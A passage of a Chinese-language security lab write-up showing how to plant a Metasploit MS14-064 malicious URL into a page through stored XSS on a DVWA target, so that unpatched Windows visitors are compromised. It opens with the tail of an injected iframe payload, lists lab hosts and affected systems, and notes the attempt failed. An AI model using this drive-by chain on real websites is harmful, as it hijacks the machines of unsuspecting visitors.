marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=https://pic1.zhimg.com/v2-656b7df981ea18d18f196995f477d75d_xll.jpg?source=32738c0c&needBackground=1></iframe>");</script> 三、网页挂马/权限提升（MS14_064）目的  通过木马服务器（Kali）搭建生成一个恶意URL地址，并通过存储型XSS挂到页面中。只要存在未打相应补丁的用户访问了挂马页面，恶意攻击者便获取到了受害者的控制权限（重点在于目的系统是否打了相应补丁）环境木马服务器（Kali MS14-064 IP:192.168.7.129） 受害者（Windows Server 2003 R2 IP:192.168.7.136） 存在 XSS 的服务器（Win10 DVWA靶机 IP:192.168.1.103）MS14_064：受影响的操作系统版本有：Windows Vista、Windows Server 2012、Windows Server 2008、Windows RT、Windows 8.1、Windows 8 以及 Windows 7.打开msf搜索 ms14_064依次设置好参数没有成功，不知道为什么，我win7补丁都卸载了，这里只做演示，可以参考下文https://blog.csdn.net/theRavensea/article/details/136793078 XSS插入地址这个时候就能利用存储型xss漏洞将木马服务器生成的地址插入到网站中，这样只要有人的电脑存在该漏洞，就能上线：可自行测试，我这里不是全新的win7，没有成功学习于：https://blog.csdn.net/Aaron_Miller/article/details/105918848